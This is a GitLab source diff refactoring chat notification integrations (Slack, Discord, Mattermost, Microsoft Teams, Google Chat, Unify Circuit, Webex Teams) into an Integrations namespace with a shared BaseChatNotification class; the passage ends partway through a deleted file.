diff options
71 files changed, 861 insertions, 855 deletions
diff --git a/.rubocop_manual_todo.yml b/.rubocop_manual_todo.yml index 9d3fc7f956b..80fc20610e7 100644 --- a/.rubocop_manual_todo.yml +++ b/.rubocop_manual_todo.yml @@ -1648,20 +1648,13 @@ Gitlab/NamespacedClass: - 'app/models/project_services/alerts_service.rb' - 'app/models/project_services/alerts_service_data.rb' - 'app/models/project_services/chat_notification_service.rb' - - 'app/models/project_services/discord_service.rb' - - 'app/models/project_services/hangouts_chat_service.rb' - - 'app/models/project_services/mattermost_service.rb' - 'app/models/project_services/mattermost_slash_commands_service.rb' - - 'app/models/project_services/microsoft_teams_service.rb' - 'app/models/project_services/mock_monitoring_service.rb' - 'app/models/project_services/monitoring_service.rb' - 'app/models/project_services/prometheus_service.rb' - 'app/models/project_services/pushover_service.rb' - - 'app/models/project_services/slack_service.rb' - 'app/models/project_services/slack_slash_commands_service.rb' - 'app/models/project_services/slash_commands_service.rb' - - 'app/models/project_services/unify_circuit_service.rb' - - 'app/models/project_services/webex_teams_service.rb' - 'app/models/project_setting.rb' - 'app/models/project_snippet.rb' - 'app/models/project_statistics.rb' @@ -253,7 +253,7 @@ gem 'flowdock', '~> 0.7' gem 'slack-messenger', '~> 2.3.4' # Hangouts Chat integration -gem 'hangouts-chat', '~> 0.0.5' +gem 'hangouts-chat', '~> 0.0.5', require: 'hangouts_chat' # Asana integration gem 'asana', '~> 0.10.3' diff --git a/app/models/chat_team.rb b/app/models/chat_team.rb index 6e39d7e2204..ee786ae6cb7 100644 --- a/app/models/chat_team.rb +++ b/app/models/chat_team.rb @@ -7,8 +7,8 @@ class ChatTeam < ApplicationRecord belongs_to :namespace def remove_mattermost_team(current_user) - Mattermost::Team.new(current_user).destroy(team_id: team_id) - rescue Mattermost::ClientError => e + ::Mattermost::Team.new(current_user).destroy(team_id: team_id) + rescue ::Mattermost::ClientError => e # Either the group is not found, or the user doesn't have the proper # access on the mattermost instance. In the first case, we're done either way # in the latter case, we can't recover by retrying, so we just log what happened diff --git a/app/models/concerns/notification_branch_selection.rb b/app/models/concerns/notification_branch_selection.rb index 2354335469a..18ec996c3df 100644 --- a/app/models/concerns/notification_branch_selection.rb +++ b/app/models/concerns/notification_branch_selection.rb @@ -2,7 +2,7 @@ # Concern handling functionality around deciding whether to send notification # for activities on a specified branch or not. Will be included in -# ChatNotificationService and PipelinesEmailService classes. +# Integrations::BaseChatNotification and PipelinesEmailService classes. module NotificationBranchSelection extend ActiveSupport::Concern diff --git a/app/models/integrations/base_chat_notification.rb b/app/models/integrations/base_chat_notification.rb new file mode 100644 index 00000000000..5eae8bce92a --- /dev/null +++ b/app/models/integrations/base_chat_notification.rb @@ -0,0 +1,255 @@ +# frozen_string_literal: true + +# Base class for Chat notifications services +# This class is not meant to be used directly, but only to inherit from. + +module Integrations + class BaseChatNotification < Integration + include ChatMessage + include NotificationBranchSelection + + SUPPORTED_EVENTS = %w[ + push issue confidential_issue merge_request note confidential_note + tag_push pipeline wiki_page deployment + ].freeze + + SUPPORTED_EVENTS_FOR_LABEL_FILTER = %w[issue confidential_issue merge_request note confidential_note].freeze + + EVENT_CHANNEL = proc { |event| "#{event}_channel" } + + LABEL_NOTIFICATION_BEHAVIOURS = [ + MATCH_ANY_LABEL = 'match_any', + MATCH_ALL_LABELS = 'match_all' + ].freeze + + default_value_for :category, 'chat' + + prop_accessor :webhook, :username, :channel, :branches_to_be_notified, :labels_to_be_notified, :labels_to_be_notified_behavior + + # Custom serialized properties initialization + prop_accessor(*SUPPORTED_EVENTS.map { |event| EVENT_CHANNEL[event] }) + + boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch + + validates :webhook, presence: true, public_url: true, if: :activated? + validates :labels_to_be_notified_behavior, inclusion: { in: LABEL_NOTIFICATION_BEHAVIOURS }, allow_blank: true + + def initialize_properties + if properties.nil? + self.properties = {} + self.notify_only_broken_pipelines = true + self.branches_to_be_notified = "default" + self.labels_to_be_notified_behavior = MATCH_ANY_LABEL + elsif !self.notify_only_default_branch.nil? + # In older versions, there was only a boolean property named + # `notify_only_default_branch`. Now we have a string property named + # `branches_to_be_notified`. Instead of doing a background migration, we + # opted to set a value for the new property based on the old one, if + # users haven't specified one already. When users edit the service and + # select a value for this new property, it will override everything. + + self.branches_to_be_notified ||= notify_only_default_branch? ? "default" : "all" + end + end + + def confidential_issue_channel + properties['confidential_issue_channel'].presence || properties['issue_channel'] + end + + def confidential_note_channel + properties['confidential_note_channel'].presence || properties['note_channel'] + end + + def self.supported_events + SUPPORTED_EVENTS + end + + def fields + default_fields + build_event_channels + end + + def default_fields + [ + { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}", required: true }.freeze, + { type: 'text', name: 'username', placeholder: 'GitLab-integration' }.freeze, + { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'Do not send notifications for successful pipelines.' }.freeze, + { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }.freeze, + { + type: 'text', + name: 'labels_to_be_notified', + placeholder: '~backend,~frontend', + help: 'Send notifications for issue, merge request, and comment events with the listed labels only. Leave blank to receive notifications for all events.' + }.freeze, + { + type: 'select', + name: 'labels_to_be_notified_behavior', + choices: [ + ['Match any of the labels', MATCH_ANY_LABEL], + ['Match all of the labels', MATCH_ALL_LABELS] + ] + }.freeze + ].freeze + end + + def execute(data) + return unless supported_events.include?(data[:object_kind]) + + return unless webhook.present? + + object_kind = data[:object_kind] + + data = custom_data(data) + + return unless notify_label?(data) + + # WebHook events often have an 'update' event that follows a 'open' or + # 'close' action. Ignore update events for now to prevent duplicate + # messages from arriving. + + message = get_message(object_kind, data) + + return false unless message + + event_type = data[:event_type] || object_kind + + channel_names = get_channel_field(event_type).presence || channel.presence + channels = channel_names&.split(',')&.map(&:strip) + + opts = {} + opts[:channel] = channels if channels.present? + opts[:username] = username if username + + if notify(message, opts) + log_usage(event_type, user_id_from_hook_data(data)) + return true + end + + false + end + + def event_channel_names + supported_events.map { |event| event_channel_name(event) } + end + + def event_field(event) + fields.find { |field| field[:name] == event_channel_name(event) } + end + + def global_fields + fields.reject { |field| field[:name].end_with?('channel') } + end + + def default_channel_placeholder + raise NotImplementedError + end + + private + + def log_usage(_, _) + # Implement in child class + end + + def labels_to_be_notified_list + return [] if labels_to_be_notified.nil? + + labels_to_be_notified.delete('~').split(',').map(&:strip) + end + + def notify_label?(data) + return true unless SUPPORTED_EVENTS_FOR_LABEL_FILTER.include?(data[:object_kind]) && labels_to_be_notified.present? + + labels = data[:labels] || data.dig(:issue, :labels) || data.dig(:merge_request, :labels) || data.dig(:object_attributes, :labels) + + return false if labels.blank? + + matching_labels = labels_to_be_notified_list & labels.pluck(:title) + + if labels_to_be_notified_behavior == MATCH_ALL_LABELS + labels_to_be_notified_list.difference(matching_labels).empty? + else + matching_labels.any? + end + end + + def user_id_from_hook_data(data) + data.dig(:user, :id) || data[:user_id] + end + + # every notifier must implement this independently + def notify(message, opts) + raise NotImplementedError + end + + def custom_data(data) + data.merge(project_url: project_url, project_name: project_name).with_indifferent_access + end + + def get_message(object_kind, data) + case object_kind + when "push", "tag_push" + Integrations::ChatMessage::PushMessage.new(data) if notify_for_ref?(data) + when "issue" + Integrations::ChatMessage::IssueMessage.new(data) unless update?(data) + when "merge_request" + Integrations::ChatMessage::MergeMessage.new(data) unless update?(data) + when "note" + Integrations::ChatMessage::NoteMessage.new(data) + when "pipeline" + Integrations::ChatMessage::PipelineMessage.new(data) if should_pipeline_be_notified?(data) + when "wiki_page" + Integrations::ChatMessage::WikiPageMessage.new(data) + when "deployment" + Integrations::ChatMessage::DeploymentMessage.new(data) + end + end + + def get_channel_field(event) + field_name = event_channel_name(event) + self.public_send(field_name) # rubocop:disable GitlabSecurity/PublicSend + end + + def build_event_channels + supported_events.reduce([]) do |channels, event| + channels << { type: 'text', name: event_channel_name(event), placeholder: default_channel_placeholder } + end + end + + def event_channel_name(event) + EVENT_CHANNEL[event] + end + + def project_name + project.full_name + end + + def project_url + project.web_url + end + + def update?(data) + data[:object_attributes][:action] == 'update' + end + + def should_pipeline_be_notified?(data) + notify_for_ref?(data) && notify_for_pipeline?(data) + end + + def notify_for_ref?(data) + return true if data[:object_kind] == 'tag_push' + return true if data.dig(:object_attributes, :tag) + + notify_for_branch?(data) + end + + def notify_for_pipeline?(data) + case data[:object_attributes][:status] + when 'success' + !notify_only_broken_pipelines? + when 'failed' + true + else + false + end + end + end +end diff --git a/app/models/integrations/chat_message/base_message.rb b/app/models/integrations/chat_message/base_message.rb index 2f70384d3b9..afe3ffc45a0 100644 --- a/app/models/integrations/chat_message/base_message.rb +++ b/app/models/integrations/chat_message/base_message.rb @@ -58,7 +58,7 @@ module Integrations end def format(string) - Slack::Messenger::Util::LinkFormatter.format(format_relative_links(string)) + ::Slack::Messenger::Util::LinkFormatter.format(format_relative_links(string)) end def format_relative_links(string) diff --git a/app/models/integrations/chat_message/pipeline_message.rb b/app/models/integrations/chat_message/pipeline_message.rb index a0f6f582e4c..a3f68d34035 100644 --- a/app/models/integrations/chat_message/pipeline_message.rb +++ b/app/models/integrations/chat_message/pipeline_message.rb @@ -105,7 +105,7 @@ module Integrations def failed_stages_field { title: s_("ChatMessage|Failed stage").pluralize(failed_stages.length), - value: Slack::Messenger::Util::LinkFormatter.format(failed_stages_links), + value: ::Slack::Messenger::Util::LinkFormatter.format(failed_stages_links), short: true } end @@ -113,7 +113,7 @@ module Integrations def failed_jobs_field { title: s_("ChatMessage|Failed job").pluralize(failed_jobs.length), - value: Slack::Messenger::Util::LinkFormatter.format(failed_jobs_links), + value: ::Slack::Messenger::Util::LinkFormatter.format(failed_jobs_links), short: true } end @@ -130,12 +130,12 @@ module Integrations fields = [ { title: ref_type == "tag" ? s_("ChatMessage|Tag") : s_("ChatMessage|Branch"), - value: Slack::Messenger::Util::LinkFormatter.format(ref_link), + value: ::Slack::Messenger::Util::LinkFormatter.format(ref_link), short: true }, { title: s_("ChatMessage|Commit"), - value: Slack::Messenger::Util::LinkFormatter.format(commit_link), + value: ::Slack::Messenger::Util::LinkFormatter.format(commit_link), short: true } ] diff --git a/app/models/integrations/chat_message/push_message.rb b/app/models/integrations/chat_message/push_message.rb index 0952986e923..fabd214633b 100644 --- a/app/models/integrations/chat_message/push_message.rb +++ b/app/models/integrations/chat_message/push_message.rb @@ -49,7 +49,7 @@ module Integrations end def format(string) - Slack::Messenger::Util::LinkFormatter.format(string) + ::Slack::Messenger::Util::LinkFormatter.format(string) end def commit_messages diff --git a/app/models/integrations/discord.rb b/app/models/integrations/discord.rb new file mode 100644 index 00000000000..ef6d46fd3d3 --- /dev/null +++ b/app/models/integrations/discord.rb @@ -0,0 +1,68 @@ +# frozen_string_literal: true + +require "discordrb/webhooks" + +module Integrations + class Discord < BaseChatNotification + include ActionView::Helpers::UrlHelper + + ATTACHMENT_REGEX = /: (?<entry>.*?)\n - (?<name>.*)\n*/.freeze + + def title + s_("DiscordService|Discord Notifications") + end + + def description + s_("DiscordService|Send notifications about project events to a Discord channel.") + end + + def self.to_param + "discord" + end + + def help + docs_link = link_to _('How do I set up this service?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/discord_notifications'), target: '_blank', rel: 'noopener noreferrer' + s_('Send notifications about project events to a Discord channel. %{docs_link}').html_safe % { docs_link: docs_link.html_safe } + end + + def event_field(event) + # No-op. + end + + def default_channel_placeholder + # No-op. + end + + def self.supported_events + %w[push issue confidential_issue merge_request note confidential_note tag_push pipeline wiki_page] + end + + def default_fields + [ + { type: "text", name: "webhook", placeholder: "https://discordapp.com/api/webhooks/…", help: "URL to the webhook for the Discord channel." }, + { type: "checkbox", name: "notify_only_broken_pipelines" }, + { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } + ] + end + + private + + def notify(message, opts) + client = Discordrb::Webhooks::Client.new(url: webhook) + + client.execute do |builder| + builder.add_embed do |embed| + embed.author = Discordrb::Webhooks::EmbedAuthor.new(name: message.user_name, icon_url: message.user_avatar) + embed.description = (message.pretext + "\n" + Array.wrap(message.attachments).join("\n")).gsub(ATTACHMENT_REGEX, " \\k<entry> - \\k<name>\n") + end + end + rescue RestClient::Exception => error + log_error(error.message) + false + end + + def custom_data(data) + super(data).merge(markdown: true) + end + end +end diff --git a/app/models/integrations/hangouts_chat.rb b/app/models/integrations/hangouts_chat.rb new file mode 100644 index 00000000000..d02cfe4ec56 --- /dev/null +++ b/app/models/integrations/hangouts_chat.rb @@ -0,0 +1,71 @@ +# frozen_string_literal: true + +module Integrations + class HangoutsChat < BaseChatNotification + include ActionView::Helpers::UrlHelper + + def title + 'Google Chat' + end + + def description + 'Send notifications from GitLab to a room in Google Chat.' + end + + def self.to_param + 'hangouts_chat' + end + + def help + docs_link = link_to _('How do I set up a Google Chat webhook?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/hangouts_chat'), target: '_blank', rel: 'noopener noreferrer' + s_('Before enabling this integration, create a webhook for the room in Google Chat where you want to receive notifications from this project. %{docs_link}').html_safe % { docs_link: docs_link.html_safe } + end + + def event_field(event) + end + + def default_channel_placeholder + end + + def webhook_placeholder + 'https://chat.googleapis.com/v1/spaces…' + end + + def self.supported_events + %w[push issue confidential_issue merge_request note confidential_note tag_push + pipeline wiki_page] + end + + def default_fields + [ + { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" }, + { type: 'checkbox', name: 'notify_only_broken_pipelines' }, + { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } + ] + end + + private + + def notify(message, opts) + simple_text = parse_simple_text_message(message) + ::HangoutsChat::Sender.new(webhook).simple(simple_text) + end + + def parse_simple_text_message(message) + header = message.pretext + return header if message.attachments.empty? + + attachment = message.attachments.first + title = format_attachment_title(attachment) + body = attachment[:text] + + [header, title, body].compact.join("\n") + end + + def format_attachment_title(attachment) + return attachment[:title] unless attachment[:title_link] + + "<#{attachment[:title_link]}|#{attachment[:title]}>" + end + end +end diff --git a/app/models/integrations/mattermost.rb b/app/models/integrations/mattermost.rb new file mode 100644 index 00000000000..97bb4342105 --- /dev/null +++ b/app/models/integrations/mattermost.rb @@ -0,0 +1,33 @@ +# frozen_string_literal: true + +module Integrations + class Mattermost < BaseChatNotification + include SlackMattermost::Notifier + include ActionView::Helpers::UrlHelper + + def title + s_('Mattermost notifications') + end + + def description + s_('Send notifications about project events to Mattermost channels.') + end + + def self.to_param + 'mattermost' + end + + def help + docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/mattermost'), target: '_blank', rel: 'noopener noreferrer' + s_('Send notifications about project events to Mattermost channels. %{docs_link}').html_safe % { docs_link: docs_link.html_safe } + end + + def default_channel_placeholder + 'my-channel' + end + + def webhook_placeholder + 'http://mattermost.example.com/hooks/' + end + end +end diff --git a/app/models/integrations/microsoft_teams.rb b/app/models/integrations/microsoft_teams.rb new file mode 100644 index 00000000000..91e6800f03c --- /dev/null +++ b/app/models/integrations/microsoft_teams.rb @@ -0,0 +1,59 @@ +# frozen_string_literal: true + +module Integrations + class MicrosoftTeams < BaseChatNotification + def title + 'Microsoft Teams notifications' + end + + def description + 'Send notifications about project events to Microsoft Teams.' + end + + def self.to_param + 'microsoft_teams' + end + + def help + '<p>Use this service to send notifications about events in GitLab projects to your Microsoft Teams channels. <a href="https://docs.gitlab.com/ee/user/project/integrations/microsoft_teams.html">How do I configure this integration?</a></p>' + end + + def webhook_placeholder + 'https://outlook.office.com/webhook/…' + end + + def event_field(event) + end + + def default_channel_placeholder + end + + def self.supported_events + %w[push issue confidential_issue merge_request note confidential_note tag_push + pipeline wiki_page] + end + + def default_fields + [ + { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" }, + { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'If selected, successful pipelines do not trigger a notification event.' }, + { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } + ] + end + + private + + def notify(message, opts) + ::MicrosoftTeams::Notifier.new(webhook).ping( + title: message.project_name, + summary: message.summary, + activity: message.activity, + attachments: message.attachments + ) + end + + def custom_data(data) + super(data).merge(markdown: true) + end + end +end diff --git a/app/models/integrations/slack.rb b/app/models/integrations/slack.rb new file mode 100644 index 00000000000..35b376ce5f2 --- /dev/null +++ b/app/models/integrations/slack.rb @@ -0,0 +1,59 @@ +# frozen_string_literal: true + +module Integrations + class Slack < BaseChatNotification + include SlackMattermost::Notifier + extend ::Gitlab::Utils::Override + + SUPPORTED_EVENTS_FOR_USAGE_LOG = %w[ + push issue confidential_issue merge_request note confidential_note + tag_push wiki_page deployment + ].freeze + + prop_accessor EVENT_CHANNEL['alert'] + + def title + 'Slack notifications' + end + + def description + 'Send notifications about project events to Slack.' + end + + def self.to_param + 'slack' + end + + def default_channel_placeholder + _('general, development') + end + + def webhook_placeholder + 'https://hooks.slack.com/services/…' + end + + def supported_events + additional = [] + additional << 'alert' + + super + additional + end + + def get_message(object_kind, data) + return Integrations::ChatMessage::AlertMessage.new(data) if object_kind == 'alert' + + super + end + + override :log_usage + def log_usage(event, user_id) + return unless user_id + + return unless SUPPORTED_EVENTS_FOR_USAGE_LOG.include?(event) + + key = "i_ecosystem_slack_service_#{event}_notification" + + Gitlab::UsageDataCounters::HLLRedisCounter.track_event(key, values: user_id) + end + end +end diff --git a/app/models/integrations/unify_circuit.rb b/app/models/integrations/unify_circuit.rb new file mode 100644 index 00000000000..03363c7c8b0 --- /dev/null +++ b/app/models/integrations/unify_circuit.rb @@ -0,0 +1,62 @@ +# frozen_string_literal: true + +module Integrations + class UnifyCircuit < BaseChatNotification + def title + 'Unify Circuit' + end + + def description + s_('Integrations|Send notifications about project events to Unify Circuit.') + end + + def self.to_param + 'unify_circuit' + end + + def help + 'This service sends notifications about projects events to a Unify Circuit conversation.<br /> + To set up this service: + <ol> + <li><a href="https://www.circuit.com/unifyportalfaqdetail?articleId=164448">Set up an incoming webhook for your conversation</a>. All notifications will come to this conversation.</li> + <li>Paste the <strong>Webhook URL</strong> into the field below.</li> + <li>Select events below to enable notifications.</li> + </ol>' + end + + def event_field(event) + end + + def default_channel_placeholder + end + + def self.supported_events + %w[push issue confidential_issue merge_request note confidential_note tag_push + pipeline wiki_page] + end + + def default_fields + [ + { type: 'text', name: 'webhook', placeholder: "e.g. https://circuit.com/rest/v2/webhooks/incoming/…", required: true }, + { type: 'checkbox', name: 'notify_only_broken_pipelines' }, + { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } + ] + end + + private + + def notify(message, opts) + response = Gitlab::HTTP.post(webhook, body: { + subject: message.project_name, + text: message.summary, + markdown: true + }.to_json) + + response if response.success? + end + + def custom_data(data) + super(data).merge(markdown: true) + end + end +end diff --git a/app/models/integrations/webex_teams.rb b/app/models/integrations/webex_teams.rb new file mode 100644 index 00000000000..3f420331035 --- /dev/null +++ b/app/models/integrations/webex_teams.rb @@ -0,0 +1,56 @@ +# frozen_string_literal: true + +module Integrations + class WebexTeams < BaseChatNotification + include ActionView::Helpers::UrlHelper + + def title + s_("WebexTeamsService|Webex Teams") + end + + def description + s_("WebexTeamsService|Send notifications about project events to Webex Teams.") + end + + def self.to_param + 'webex_teams' + end + + def help + docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/webex_teams'), target: '_blank', rel: 'noopener noreferrer' + s_("WebexTeamsService|Send notifications about project events to a Webex Teams conversation. %{docs_link}") % { docs_link: docs_link.html_safe } + end + + def event_field(event) + end + + def default_channel_placeholder + end + + def self.supported_events + %w[push issue confidential_issue merge_request note confidential_note tag_push + pipeline wiki_page] + end + + def default_fields + [ + { type: 'text', name: 'webhook', placeholder: "https://api.ciscospark.com/v1/webhooks/incoming/...", required: true }, + { type: 'checkbox', name: 'notify_only_broken_pipelines' }, + { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } + ] + end + + private + + def notify(message, opts) + header = { 'Content-Type' => 'application/json' } + response = Gitlab::HTTP.post(webhook, headers: header, body: { markdown: message.summary }.to_json) + + response if response.success? + end + + def custom_data(data) + super(data).merge(markdown: true) + end + end +end diff --git a/app/models/project.rb b/app/models/project.rb index efdcbe9e50b..45f9b8ac344 100644 --- a/app/models/project.rb +++ b/app/models/project.rb @@ -166,33 +166,33 @@ class Project < ApplicationRecord has_one :confluence_service, class_name: 'Integrations::Confluence' has_one :custom_issue_tracker_service, class_name: 'Integrations::CustomIssueTracker' has_one :datadog_service, class_name: 'Integrations::Datadog' + has_one :discord_service, class_name: 'Integrations::Discord' has_one :drone_ci_service, class_name: 'Integrations::DroneCi' has_one :emails_on_push_service, class_name: 'Integrations::EmailsOnPush' has_one :ewm_service, class_name: 'Integrations::Ewm' has_one :external_wiki_service, class_name: 'Integrations::ExternalWiki' has_one :flowdock_service, class_name: 'Integrations::Flowdock' + has_one :hangouts_chat_service, class_name: 'Integrations::HangoutsChat' has_one :irker_service, class_name: 'Integrations::Irker' has_one :jenkins_service, class_name: 'Integrations::Jenkins' has_one :jira_service, class_name: 'Integrations::Jira' + has_one :mattermost_service, class_name: 'Integrations::Mattermost' + has_one :microsoft_teams_service, class_name: 'Integrations::MicrosoftTeams' has_one :mock_ci_service, class_name: 'Integrations::MockCi' has_one :packagist_service, class_name: 'Integrations::Packagist' has_one :pipelines_email_service, class_name: 'Integrations::PipelinesEmail' has_one :pivotaltracker_service, class_name: 'Integrations::Pivotaltracker' has_one :redmine_service, class_name: 'Integrations::Redmine' + has_one :slack_service, class_name: 'Integrations::Slack' has_one :teamcity_service, class_name: 'Integrations::Teamcity' + has_one :unify_circuit_service, class_name: 'Integrations::UnifyCircuit' + has_one :webex_teams_service, class_name: 'Integrations::WebexTeams' has_one :youtrack_service, class_name: 'Integrations::Youtrack' - has_one :discord_service has_one :mattermost_slash_commands_service - has_one :mattermost_service has_one :slack_slash_commands_service - has_one :slack_service has_one :pushover_service has_one :prometheus_service, inverse_of: :project has_one :mock_monitoring_service - has_one :microsoft_teams_service - has_one :hangouts_chat_service - has_one :unify_circuit_service - has_one :webex_teams_service has_one :root_of_fork_network, foreign_key: 'root_project_id', diff --git a/app/models/project_services/chat_notification_service.rb b/app/models/project_services/chat_notification_service.rb deleted file mode 100644 index 7624dd0d62c..00000000000 --- a/app/models/project_services/chat_notification_service.rb +++ /dev/null @@ -1,252 +0,0 @@ -# frozen_string_literal: true - -# Base class for Chat notifications services -# This class is not meant to be used directly, but only to inherit from. -class ChatNotificationService < Integration - include ChatMessage - include NotificationBranchSelection - - SUPPORTED_EVENTS = %w[ - push issue confidential_issue merge_request note confidential_note - tag_push pipeline wiki_page deployment - ].freeze - - SUPPORTED_EVENTS_FOR_LABEL_FILTER = %w[issue confidential_issue merge_request note confidential_note].freeze - - EVENT_CHANNEL = proc { |event| "#{event}_channel" } - - LABEL_NOTIFICATION_BEHAVIOURS = [ - MATCH_ANY_LABEL = 'match_any', - MATCH_ALL_LABELS = 'match_all' - ].freeze - - default_value_for :category, 'chat' - - prop_accessor :webhook, :username, :channel, :branches_to_be_notified, :labels_to_be_notified, :labels_to_be_notified_behavior - - # Custom serialized properties initialization - prop_accessor(*SUPPORTED_EVENTS.map { |event| EVENT_CHANNEL[event] }) - - boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch - - validates :webhook, presence: true, public_url: true, if: :activated? - validates :labels_to_be_notified_behavior, inclusion: { in: LABEL_NOTIFICATION_BEHAVIOURS }, allow_blank: true - - def initialize_properties - if properties.nil? - self.properties = {} - self.notify_only_broken_pipelines = true - self.branches_to_be_notified = "default" - self.labels_to_be_notified_behavior = MATCH_ANY_LABEL - elsif !self.notify_only_default_branch.nil? - # In older versions, there was only a boolean property named - # `notify_only_default_branch`. Now we have a string property named - # `branches_to_be_notified`. Instead of doing a background migration, we - # opted to set a value for the new property based on the old one, if - # users hasn't specified one already. When users edit the service and - # selects a value for this new property, it will override everything. - - self.branches_to_be_notified ||= notify_only_default_branch? ? "default" : "all" - end - end - - def confidential_issue_channel - properties['confidential_issue_channel'].presence || properties['issue_channel'] - end - - def confidential_note_channel - properties['confidential_note_channel'].presence || properties['note_channel'] - end - - def self.supported_events - SUPPORTED_EVENTS - end - - def fields - default_fields + build_event_channels - end - - def default_fields - [ - { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}", required: true }.freeze, - { type: 'text', name: 'username', placeholder: 'GitLab-integration' }.freeze, - { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'Do not send notifications for successful pipelines.' }.freeze, - { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }.freeze, - { - type: 'text', - name: 'labels_to_be_notified', - placeholder: '~backend,~frontend', - help: 'Send notifications for issue, merge request, and comment events with the listed labels only. Leave blank to receive notifications for all events.' - }.freeze, - { - type: 'select', - name: 'labels_to_be_notified_behavior', - choices: [ - ['Match any of the labels', MATCH_ANY_LABEL], - ['Match all of the labels', MATCH_ALL_LABELS] - ] - }.freeze - ].freeze - end - - def execute(data) - return unless supported_events.include?(data[:object_kind]) - - return unless webhook.present? - - object_kind = data[:object_kind] - - data = custom_data(data) - - return unless notify_label?(data) - - # WebHook events often have an 'update' event that follows a 'open' or - # 'close' action. Ignore update events for now to prevent duplicate - # messages from arriving. - - message = get_message(object_kind, data) - - return false unless message - - event_type = data[:event_type] || object_kind - - channel_names = get_channel_field(event_type).presence || channel.presence - channels = channel_names&.split(',')&.map(&:strip) - - opts = {} - opts[:channel] = channels if channels.present? - opts[:username] = username if username - - if notify(message, opts) - log_usage(event_type, user_id_from_hook_data(data)) - return true - end - - false - end - - def event_channel_names - supported_events.map { |event| event_channel_name(event) } - end - - def event_field(event) - fields.find { |field| field[:name] == event_channel_name(event) } - end - - def global_fields - fields.reject { |field| field[:name].end_with?('channel') } - end - - def default_channel_placeholder - raise NotImplementedError - end - - private - - def log_usage(_, _) - # Implement in child class - end - - def labels_to_be_notified_list - return [] if labels_to_be_notified.nil? - - labels_to_be_notified.delete('~').split(',').map(&:strip) - end - - def notify_label?(data) - return true unless SUPPORTED_EVENTS_FOR_LABEL_FILTER.include?(data[:object_kind]) && labels_to_be_notified.present? - - labels = data[:labels] || data.dig(:issue, :labels) || data.dig(:merge_request, :labels) || data.dig(:object_attributes, :labels) - - return false if labels.blank? - - matching_labels = labels_to_be_notified_list & labels.pluck(:title) - - if labels_to_be_notified_behavior == MATCH_ALL_LABELS - labels_to_be_notified_list.difference(matching_labels).empty? - else - matching_labels.any? - end - end - - def user_id_from_hook_data(data) - data.dig(:user, :id) || data[:user_id] - end - - # every notifier must implement this independently - def notify(message, opts) - raise NotImplementedError - end - - def custom_data(data) - data.merge(project_url: project_url, project_name: project_name).with_indifferent_access - end - - def get_message(object_kind, data) - case object_kind - when "push", "tag_push" - Integrations::ChatMessage::PushMessage.new(data) if notify_for_ref?(data) - when "issue" - Integrations::ChatMessage::IssueMessage.new(data) unless update?(data) - when "merge_request" - Integrations::ChatMessage::MergeMessage.new(data) unless update?(data) - when "note" - Integrations::ChatMessage::NoteMessage.new(data) - when "pipeline" - Integrations::ChatMessage::PipelineMessage.new(data) if should_pipeline_be_notified?(data) - when "wiki_page" - Integrations::ChatMessage::WikiPageMessage.new(data) - when "deployment" - Integrations::ChatMessage::DeploymentMessage.new(data) - end - end - - def get_channel_field(event) - field_name = event_channel_name(event) - self.public_send(field_name) # rubocop:disable GitlabSecurity/PublicSend - end - - def build_event_channels - supported_events.reduce([]) do |channels, event| - channels << { type: 'text', name: event_channel_name(event), placeholder: default_channel_placeholder } - end - end - - def event_channel_name(event) - EVENT_CHANNEL[event] - end - - def project_name - project.full_name - end - - def project_url - project.web_url - end - - def update?(data) - data[:object_attributes][:action] == 'update' - end - - def should_pipeline_be_notified?(data) - notify_for_ref?(data) && notify_for_pipeline?(data) - end - - def notify_for_ref?(data) - return true if data[:object_kind] == 'tag_push' - return true if data.dig(:object_attributes, :tag) - - notify_for_branch?(data) - end - - def notify_for_pipeline?(data) - case data[:object_attributes][:status] - when 'success' - !notify_only_broken_pipelines? - when 'failed' - true - else - false - end - end -end diff --git a/app/models/project_services/discord_service.rb b/app/models/project_services/discord_service.rb deleted file mode 100644 index d7adf63fde4..00000000000 --- a/app/models/project_services/discord_service.rb +++ /dev/null @@ -1,66 +0,0 @@ -# frozen_string_literal: true - -require "discordrb/webhooks" - -class DiscordService < ChatNotificationService - include ActionView::Helpers::UrlHelper - - ATTACHMENT_REGEX = /: (?<entry>.*?)\n - (?<name>.*)\n*/.freeze - - def title - s_("DiscordService|Discord Notifications") - end - - def description - s_("DiscordService|Send notifications about project events to a Discord channel.") - end - - def self.to_param - "discord" - end - - def help - docs_link = link_to _('How do I set up this service?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/discord_notifications'), target: '_blank', rel: 'noopener noreferrer' - s_('Send notifications about project events to a Discord channel. %{docs_link}').html_safe % { docs_link: docs_link.html_safe } - end - - def event_field(event) - # No-op. - end - - def default_channel_placeholder - # No-op. - end - - def self.supported_events - %w[push issue confidential_issue merge_request note confidential_note tag_push pipeline wiki_page] - end - - def default_fields - [ - { type: "text", name: "webhook", placeholder: "https://discordapp.com/api/webhooks/…", help: "URL to the webhook for the Discord channel." }, - { type: "checkbox", name: "notify_only_broken_pipelines" }, - { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } - ] - end - - private - - def notify(message, opts) - client = Discordrb::Webhooks::Client.new(url: webhook) - - client.execute do |builder| - builder.add_embed do |embed| - embed.author = Discordrb::Webhooks::EmbedAuthor.new(name: message.user_name, icon_url: message.user_avatar) - embed.description = (message.pretext + "\n" + Array.wrap(message.attachments).join("\n")).gsub(ATTACHMENT_REGEX, " \\k<entry> - \\k<name>\n") - end - end - rescue RestClient::Exception => error - log_error(error.message) - false - end - - def custom_data(data) - super(data).merge(markdown: 